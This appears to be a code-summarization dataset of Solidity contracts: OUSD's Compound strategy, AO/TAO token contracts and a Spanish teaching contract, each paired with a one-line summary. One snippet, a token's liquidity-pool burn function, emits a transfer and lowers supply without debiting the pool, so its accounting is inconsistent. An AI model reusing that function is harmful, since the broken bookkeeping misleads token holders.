constant _ENTERED = 2; event PendingGovernorshipTransfer( address indexed previousGovernor, address indexed newGovernor ); event GovernorshipTransferred( address indexed previousGovernor, address indexed newGovernor ); /** * @dev Initializes the contract setting the deployer as the initial Governor. */ constructor() { _setGovernor(msg.sender); emit GovernorshipTransferred(address(0), _governor()); } /** * @dev Returns the address of the current Governor. */ function governor() public view returns (address) { return _governor(); } /** * @dev Returns the address of the current Governor. */ function _governor() internal view returns (address governorOut) { bytes32 position = governorPosition; assembly { governorOut := sload(position) } } /** * @dev Returns the address of the pending Governor. */ function _pendingGovernor() internal view returns (address pendingGovernor) { bytes32 position = pendingGovernorPosition; assembly { pendingGovernor := sload(position) } } /** * @dev Throws if called by any account other than the Governor. */ modifier onlyGovernor() { require(isGovernor(), "Caller is not the Governor"); _; } /** * @dev Returns true if the caller is the current Governor. */ function isGovernor() public view returns (bool) { return msg.sender == _governor(); } function _setGovernor(address newGovernor) internal { bytes32 position = governorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { bytes32 position = reentryStatusPosition; uint256 _reentry_status; assembly { _reentry_status := sload(position) } // On the first call to nonReentrant, _notEntered will be true require(_reentry_status != _ENTERED, "Reentrant call"); // Any calls to nonReentrant after this point will fail assembly { sstore(position, _ENTERED) } _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) assembly { sstore(position, _NOT_ENTERED) } } function _setPendingGovernor(address newGovernor) internal { bytes32 position = pendingGovernorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Transfers Governance of the contract to a new account (`newGovernor`). * Can only be called by the current Governor. Must be claimed for this to complete * @param _newGovernor Address of the new Governor */ function transferGovernance(address _newGovernor) external onlyGovernor { _setPendingGovernor(_newGovernor); emit PendingGovernorshipTransfer(_governor(), _newGovernor); } /** * @dev Claim Governance of the contract to a new account (`newGovernor`). * Can only be called by the new Governor. */ function claimGovernance() external { require( msg.sender == _pendingGovernor(), "Only the pending Governor can complete the claim" ); _changeGovernor(msg.sender); } /** * @dev Change Governance of the contract to a new account (`newGovernor`). * @param _newGovernor Address of the new Governor */ function _changeGovernor(address _newGovernor) internal { require(_newGovernor != address(0), "New Governor is address(0)"); emit GovernorshipTransferred(_governor(), _newGovernor); _setGovernor(_newGovernor); } } // File: contracts/utils/InitializableAbstractStrategy.sol pragma solidity ^0.8.0; abstract contract InitializableAbstractStrategy is Initializable, Governable { using SafeERC20 for IERC20; using SafeMath for uint256; event PTokenAdded(address indexed _asset, address _pToken); event PTokenRemoved(address indexed _asset, address _pToken); event Deposit(address indexed _asset, address _pToken, uint256 _amount); event Withdrawal(address indexed _asset, address _pToken, uint256 _amount); event RewardTokenCollected(address recipient, uint256 amount); event RewardTokenAddressUpdated(address _oldAddress, address _newAddress); event RewardLiquidationThresholdUpdated( uint256 _oldThreshold, uint256 _newThreshold ); // Core address for the given platform address public platformAddress; address public vaultAddress; // asset => pToken (Platform Specific Token Address) mapping(address => address) public assetToPToken; // Full list of all assets supported here address[] internal assetsMapped; // Reward token address address public rewardTokenAddress; uint256 public rewardLiquidationThreshold; // Reserved for future expansion int256[100] private _reserved; /** * @dev Internal initialize function, to set up initial internal state * @param _platformAddress Generic platform address * @param _vaultAddress Address of the Vault * @param _rewardTokenAddress Address of reward token for platform * @param _assets Addresses of initial supported assets * @param _pTokens Platform Token corresponding addresses */ function initialize( address _platformAddress, address _vaultAddress, address _rewardTokenAddress, address[] calldata _assets, address[] calldata _pTokens ) external onlyGovernor initializer { InitializableAbstractStrategy._initialize( _platformAddress, _vaultAddress, _rewardTokenAddress, _assets, _pTokens ); } function _initialize( address _platformAddress, address _vaultAddress, address _rewardTokenAddress, address[] memory _assets, address[] memory _pTokens ) internal { platformAddress = _platformAddress; vaultAddress = _vaultAddress; rewardTokenAddress = _rewardTokenAddress; uint256 assetCount = _assets.length; require(assetCount == _pTokens.length, "Invalid input arrays"); for (uint256 i = 0; i < assetCount; i++) { _setPTokenAddress(_assets[i], _pTokens[i]); } } /** * @dev Collect accumulated reward token and send to Vault. */ function collectRewardToken() external virtual onlyVault nonReentrant { IERC20 rewardToken = IERC20(rewardTokenAddress); uint256 balance = rewardToken.balanceOf(address(this)); emit RewardTokenCollected(vaultAddress, balance); rewardToken.safeTransfer(vaultAddress, balance); } /** * @dev Verifies that the caller is the Vault. */ modifier onlyVault() { require(msg.sender == vaultAddress, "Caller is not the Vault"); _; } /** * @dev Verifies that the caller is the Vault or Governor. */ modifier onlyVaultOrGovernor() { require( msg.sender == vaultAddress || msg.sender == governor(), "Caller is not the Vault or Governor" ); _; } /** * @dev Set the reward token address. * @param _rewardTokenAddress Address of the reward token */ function setRewardTokenAddress(address _rewardTokenAddress) external onlyGovernor { emit RewardTokenAddressUpdated(rewardTokenAddress, _rewardTokenAddress); rewardTokenAddress = _rewardTokenAddress; } /** * @dev Set the reward token liquidation threshold. * @param _threshold Threshold amount in decimals of reward token that will * cause the Vault to claim and withdrawAll on allocate() calls. */ function setRewardLiquidationThreshold(uint256 _threshold) external onlyGovernor { emit RewardLiquidationThresholdUpdated( rewardLiquidationThreshold, _threshold ); rewardLiquidationThreshold = _threshold; } /** * @dev Provide support for asset by passing its pToken address. * This method can only be called by the system Governor * @param _asset Address for the asset * @param _pToken Address for the corresponding platform token */ function setPTokenAddress(address _asset, address _pToken) external onlyGovernor { _setPTokenAddress(_asset, _pToken); } /** * @dev Remove a supported asset by passing its index. * This method can only be called by the system Governor * @param _assetIndex Index of the asset to be removed */ function removePToken(uint256 _assetIndex) external onlyGovernor { require(_assetIndex < assetsMapped.length, "Invalid index"); address asset = assetsMapped[_assetIndex]; address pToken = assetToPToken[asset]; if (_assetIndex < assetsMapped.length - 1) { assetsMapped[_assetIndex] = assetsMapped[assetsMapped.length - 1]; } assetsMapped.pop(); assetToPToken[asset] = address(0); emit PTokenRemoved(asset, pToken); } /** * @dev Provide support for asset by passing its pToken address. * Add to internal mappings and execute the platform specific, * abstract method `_abstractSetPToken` * @param _asset Address for the asset * @param _pToken Address for the corresponding platform token */ function _setPTokenAddress(address _asset, address _pToken) internal { require(assetToPToken[_asset] == address(0), "pToken already set"); require( _asset != address(0) && _pToken != address(0), "Invalid addresses" ); assetToPToken[_asset] = _pToken; assetsMapped.push(_asset); emit PTokenAdded(_asset, _pToken); _abstractSetPToken(_asset, _pToken); } /** * @dev Transfer token to governor. Intended for recovering tokens stuck in * strategy contracts, i.e. mistaken sends. * @param _asset Address for the asset * @param _amount Amount of the asset to transfer */ function transferToken(address _asset, uint256 _amount) public onlyGovernor { IERC20(_asset).safeTransfer(governor(), _amount); } /*************************************** Abstract ****************************************/ function _abstractSetPToken(address _asset, address _pToken) internal virtual; function safeApproveAllTokens() external virtual; /** * @dev Deposit an amount of asset into the platform * @param _asset Address for the asset * @param _amount Units of asset to deposit */ function deposit(address _asset, uint256 _amount) external virtual; /** * @dev Deposit balance of all supported assets into the platform */ function depositAll() external virtual; /** * @dev Withdraw an amount of asset from the platform. * @param _recipient Address to which the asset should be sent * @param _asset Address of the asset * @param _amount Units of asset to withdraw */ function withdraw( address _recipient, address _asset, uint256 _amount ) external virtual; /** * @dev Withdraw all assets from strategy sending assets to Vault. */ function withdrawAll() external virtual; /** * @dev Get the total asset value held in the platform. * This includes any interest that was generated since depositing. * @param _asset Address of the asset * @return balance Total value of the asset in the platform */ function checkBalance(address _asset) external view virtual returns (uint256 balance); /** * @dev Check if an asset is supported. * @param _asset Address of the asset * @return bool Whether asset is supported */ function supportsAsset(address _asset) external view virtual returns (bool); } // File: contracts/strategies/CompoundStrategy.sol pragma solidity ^0.8.0; /** * @title OUSD Compound Strategy * @notice Investment strategy for investing stablecoins via Compound * @author Origin Protocol Inc */ contract CompoundStrategy is InitializableAbstractStrategy { using SafeERC20 for IERC20; event SkippedWithdrawal(address asset, uint256 amount); /** * @dev Collect accumulated COMP and send to Vault. */ function collectRewardToken() external override onlyVault nonReentrant { // Claim COMP from Comptroller ICERC20 cToken = _getCTokenFor(assetsMapped[0]); IComptroller comptroller = IComptroller(cToken.comptroller()); comptroller.claimComp(address(this)); // Transfer COMP to Vault IERC20 rewardToken = IERC20(rewardTokenAddress); uint256 balance = rewardToken.balanceOf(address(this)); emit RewardTokenCollected(vaultAddress, balance); rewardToken.safeTransfer(vaultAddress, balance); } /** * @dev Deposit asset into Compound * @param _asset Address of asset to deposit * @param _amount Amount of asset to deposit */ function deposit(address _asset, uint256 _amount) external override onlyVault nonReentrant { _deposit(_asset, _amount); } /** * @dev Deposit asset into Compound * @param _asset Address of asset to deposit * @param _amount Amount of asset to deposit */ function _deposit(address _asset, uint256 _amount) internal { require(_amount > 0, "Must deposit something"); ICERC20 cToken = _getCTokenFor(_asset); emit Deposit(_asset, address(cToken), _amount); require(cToken.mint(_amount) == 0, "cToken mint failed"); } /** * @dev Deposit the entire balance of any supported asset into Compound */ function depositAll() external override onlyVault nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { uint256 balance = IERC20(assetsMapped[i]).balanceOf(address(this)); if (balance > 0) { _deposit(assetsMapped[i], balance); } } } /** * @dev Withdraw asset from Compound * @param _recipient Address to receive withdrawn asset * @param _asset Address of asset to withdraw * @param _amount Amount of asset to withdraw */ function withdraw( address _recipient, address _asset, uint256 _amount ) external override onlyVault nonReentrant { require(_amount > 0, "Must withdraw something"); require(_recipient != address(0), "Must specify recipient"); emit Withdrawal(_asset, address(assetToPToken[_asset]), _amount); ICERC20 cToken = _getCTokenFor(_asset); // If redeeming 0 cTokens, just skip, else COMP will revert uint256 cTokensToRedeem = _convertUnderlyingToCToken(cToken, _amount); if (cTokensToRedeem == 0) { emit SkippedWithdrawal(_asset, _amount); return; } emit Withdrawal(_asset, address(cToken), _amount); require(cToken.redeemUnderlying(_amount) == 0, "Redeem failed"); IERC20(_asset).safeTransfer(_recipient, _amount); } /** * @dev Remove all assets from platform and send them to Vault contract. */ function withdrawAll() external override onlyVaultOrGovernor nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { // Redeem entire balance of cToken ICERC20 cToken = _getCTokenFor(assetsMapped[i]); if (cToken.balanceOf(address(this)) > 0) { require( cToken.redeem(cToken.balanceOf(address(this))) == 0, "Redeem failed" ); // Transfer entire balance to Vault IERC20 asset = IERC20(assetsMapped[i]); asset.safeTransfer( vaultAddress, asset.balanceOf(address(this)) ); } } } /** * @dev Get the total asset value held in the platform * This includes any interest that was generated since depositing * Compound exchange rate between the cToken and asset gradually increases, * causing the cToken to be worth more corresponding asset. * @param _asset Address of the asset * @return balance Total value of the asset in the platform */ function checkBalance(address _asset) external view override returns (uint256 balance) { // Balance is always with token cToken decimals ICERC20 cToken = _getCTokenFor(_asset); balance = _checkBalance(cToken); } /** * @dev Get the total asset value held in the platform * underlying = (cTokenAmt * exchangeRate) / 1e18 * @param _cToken cToken for which to check balance * @return balance Total value of the asset in the platform */ function _checkBalance(ICERC20 _cToken) internal view returns (uint256 balance) { uint256 cTokenBalance = _cToken.balanceOf(address(this)); uint256 exchangeRate = _cToken.exchangeRateStored(); // e.g. 50e8*205316390724364402565641705 / 1e18 = 1.0265..e18 balance = (cTokenBalance * exchangeRate) / 1e18; } /** * @dev Retuns bool indicating whether asset is supported by strategy * @param _asset Address of the asset */ function supportsAsset(address _asset) external view override returns (bool) { return assetToPToken[_asset] != address(0); } /** * @dev Approve the spending of all assets by their corresponding cToken, * if for some reason is it necessary. */ function safeApproveAllTokens() external override { uint256 assetCount = assetsMapped.length; for (uint256 i = 0; i < assetCount; i++) { address asset = assetsMapped[i]; address cToken = assetToPToken[asset]; // Safe approval IERC20(asset).safeApprove(cToken, 0); IERC20(asset).safeApprove(cToken, type(uint256).max); } } /** * @dev Internal method to respond to the addition of new asset / cTokens * We need to approve the cToken and give it permission to spend the asset * @param _asset Address of the asset to approve * @param _cToken The cToken for the approval */ function _abstractSetPToken(address _asset, address _cToken) internal override { // Safe approval IERC20(_asset).safeApprove(_cToken, 0); IERC20(_asset).safeApprove(_cToken, type(uint256).max); } /** * @dev Get the cToken wrapped in the ICERC20 interface for this asset. * Fails if the pToken doesn't exist in our mappings. * @param _asset Address of the asset * @return Corresponding cToken to this asset */ function _getCTokenFor(address _asset) internal view returns (ICERC20) { address cToken = assetToPToken[_asset]; require(cToken != address(0), "cToken does not exist"); return ICERC20(cToken); } /** * @dev Converts an underlying amount into cToken amount * cTokenAmt = (underlying * 1e18) / exchangeRate * @param _cToken cToken for which to change * @param _underlying Amount of underlying to convert * @return amount Equivalent amount of cTokens */ function _convertUnderlyingToCToken(ICERC20 _cToken, uint256 _underlying) internal view returns (uint256 amount) { uint256 exchangeRate = _cToken.exchangeRateStored(); // e.g. 1e18*1e18 / 205316390724364402565641705 = 50e8 // e.g. 1e8*1e18 / 205316390724364402565641705 = 0.45 or 0 amount = (_underlying * 1e18) / exchangeRate; } }
Transfer token to governor. Intended for recovering tokens stuck in strategy contracts, i.e. mistaken sends. _asset Address for the asset _amount Amount of the asset to transfer/
function transferToken(address _asset, uint256 _amount) public onlyGovernor { IERC20(_asset).safeTransfer(governor(), _amount); }
1,278,381
./full_match/1/0xe396E3B363bfCC19a15C6eDc150351Ac676bc35D/sources/Bitkencoineth.sol
Automatic burning mechanism to burn 1% of tokens in the Uniswap liquidity pool every 24 hours
function burnTokensInLiquidityPool() external onlyOwner { require(block.timestamp >= _burnStartTime.add(_burnInterval), "Burn interval has not passed yet"); uint256 liquidityBalance = _balances[uniswapV2Pair]; _burnStartTime = block.timestamp; _totalSupply = _totalSupply.sub(burnAmount); _balances[_burnWallet] = _balances[_burnWallet].add(burnAmount); emit Transfer(uniswapV2Pair, _burnWallet, burnAmount); }
4,929,214
./full_match/5/0xdD7545D8D62BCda28210bee326EdFd8b2EE50796/sources/contracts/interfaces/IEIP712Transaction.sol
Amit Molek EIP712 transaction struct signature verification for Antic domain
interface IEIP712Transaction { function verifyTransactionSigner( address signer, IWallet.Transaction memory transaction, bytes memory signature ) external view returns (bool); function recoverTransactionSigner( IWallet.Transaction memory transaction, bytes memory signature ) external view returns (address); function hashTransaction(IWallet.Transaction memory transaction) external pure returns (bytes32); pragma solidity 0.8.16; import {IWallet} from "./IWallet.sol"; }
1,894,633
pragma solidity >=0.4.4 <0.7.0; contract funciones { //Añadir dentro de un array de direcciones, la direccion de la persona que llame a la funcion address[] public direcciones; function nuevaDireccion() public { direcciones.push(msg.sender); } //Computar el hash de los datos proporcionados como parametro bytes32 public hash; function computarHash(string memory _datos) public { hash = keccak256(abi.encodePacked(_datos)); } //Declaramos un tipo de dato complejo, que es comida struct comida { string nombre; string ingredientes; } //Vamos a crear un tipo de dato complejo comida comida public hamburguesa; function Hmburguesas(string memory _ingredientes) public { hamburguesa = comida("hamburguesa", _ingredientes); } //Declaramos un tipo de dato complejo, alumno struct alumno{ string nombre; address direccion; uint edad; } bytes32 public hash_Id_alumno; //calculamos el hash del alumno function hashIdAlumno(string memory _nombre, address _direccion, uint _edad) private { hash_Id_alumno = keccak256(abi.encodePacked(_nombre, _direccion, _edad)); } //Guardamos con la funcion publica dentro de una lista los alumnos alumno[] public lista; mapping (string => bytes32) alumnos; function nuevoAlumno(string memory _nombre, uint _edad) public{ lista.push(alumno(_nombre, msg.sender, _edad)); hashIdAlumno(_nombre, msg.sender, _edad); alumnos[_nombre] = hash_Id_alumno; } }
calculamos el hash del alumno
function hashIdAlumno(string memory _nombre, address _direccion, uint _edad) private { hash_Id_alumno = keccak256(abi.encodePacked(_nombre, _direccion, _edad)); } mapping (string => bytes32) alumnos;
13,130,453
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TheAO { address public theAO; address public nameTAOPositionAddress; // Check whether an address is whitelisted and granted access to transact // on behalf of others mapping (address => bool) public whitelist; constructor() public { theAO = msg.sender; } /** * @dev Checks if msg.sender is in whitelist. */ modifier inWhitelist() { require (whitelist[msg.sender] == true); _; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public { require (msg.sender == theAO); require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public { require (msg.sender == theAO); require (_account != address(0)); whitelist[_account] = _whitelist; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /** * @title TAOCurrency */ contract TAOCurrency is TheAO { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals; // To differentiate denomination of TAO Currency uint256 public powerOfTen; uint256 public totalSupply; // This creates an array with all balances // address is the address of nameId, not the eth public address mapping (address => uint256) public balanceOf; // This generates a public event on the blockchain that will notify clients // address is the address of TAO/Name Id, not eth public address event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt // address is the address of TAO/Name Id, not eth public address event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply; // Update total supply balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes powerOfTen = 0; decimals = 0; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Check if `_id` is a Name or a TAO */ modifier isNameOrTAO(address _id) { require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) { _transfer(_from, _to, _value); return true; } /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive * @return true on success */ function mintToken(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) { _mintToken(target, mintedAmount); return true; } /** * * @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /***** INTERNAL METHODS *****/ /** * @dev Send `_value` tokens from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transfer(address _from, address _to, uint256 _value) internal { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive */ function _mintToken(address target, uint256 mintedAmount) internal { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } } /** * @title TAO */ contract TAO { using SafeMath for uint256; address public vaultAddress; string public name; // the name for this TAO address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address // TAO's data string public datHash; string public database; string public keyValue; bytes32 public contentId; /** * 0 = TAO * 1 = Name */ uint8 public typeId; /** * @dev Constructor function */ constructor (string _name, address _originId, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _vaultAddress ) public { name = _name; originId = _originId; datHash = _datHash; database = _database; keyValue = _keyValue; contentId = _contentId; // Creating TAO typeId = 0; vaultAddress = _vaultAddress; } /** * @dev Checks if calling address is Vault contract */ modifier onlyVault { require (msg.sender == vaultAddress); _; } /** * @dev Allows Vault to transfer `_amount` of ETH from this TAO to `_recipient` * @param _recipient The recipient address * @param _amount The amount to transfer * @return true on success */ function transferEth(address _recipient, uint256 _amount) public onlyVault returns (bool) { _recipient.transfer(_amount); return true; } /** * @dev Allows Vault to transfer `_amount` of ERC20 Token from this TAO to `_recipient` * @param _erc20TokenAddress The address of ERC20 Token * @param _recipient The recipient address * @param _amount The amount to transfer * @return true on success */ function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) { TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress); _erc20.transfer(_recipient, _amount); return true; } } /** * @title Position */ contract Position is TheAO { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 4; uint256 constant public MAX_SUPPLY_PER_NAME = 100 * (10 ** 4); uint256 public totalSupply; // Mapping from Name ID to bool value whether or not it has received Position Token mapping (address => bool) public receivedToken; // Mapping from Name ID to its total available balance mapping (address => uint256) public balanceOf; // Mapping from Name's TAO ID to its staked amount mapping (address => mapping(address => uint256)) public taoStakedBalance; // Mapping from TAO ID to its total staked amount mapping (address => uint256) public totalTAOStakedBalance; // This generates a public event on the blockchain that will notify clients event Mint(address indexed nameId, uint256 value); event Stake(address indexed nameId, address indexed taoId, uint256 value); event Unstake(address indexed nameId, address indexed taoId, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply; // Update total supply balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Create `MAX_SUPPLY_PER_NAME` tokens and send it to `_nameId` * @param _nameId Address to receive the tokens * @return true on success */ function mintToken(address _nameId) public inWhitelist returns (bool) { // Make sure _nameId has not received Position Token require (receivedToken[_nameId] == false); receivedToken[_nameId] = true; balanceOf[_nameId] = balanceOf[_nameId].add(MAX_SUPPLY_PER_NAME); totalSupply = totalSupply.add(MAX_SUPPLY_PER_NAME); emit Mint(_nameId, MAX_SUPPLY_PER_NAME); return true; } /** * @dev Get staked balance of `_nameId` * @param _nameId The Name ID to be queried * @return total staked balance */ function stakedBalance(address _nameId) public view returns (uint256) { return MAX_SUPPLY_PER_NAME.sub(balanceOf[_nameId]); } /** * @dev Stake `_value` tokens on `_taoId` from `_nameId` * @param _nameId The Name ID that wants to stake * @param _taoId The TAO ID to stake * @param _value The amount to stake * @return true on success */ function stake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) { require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME); require (balanceOf[_nameId] >= _value); // Check if the targeted balance is enough balanceOf[_nameId] = balanceOf[_nameId].sub(_value); // Subtract from the targeted balance taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].add(_value); // Add to the targeted staked balance totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].add(_value); emit Stake(_nameId, _taoId, _value); return true; } /** * @dev Unstake `_value` tokens from `_nameId`'s `_taoId` * @param _nameId The Name ID that wants to unstake * @param _taoId The TAO ID to unstake * @param _value The amount to unstake * @return true on success */ function unstake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) { require (_value > 0 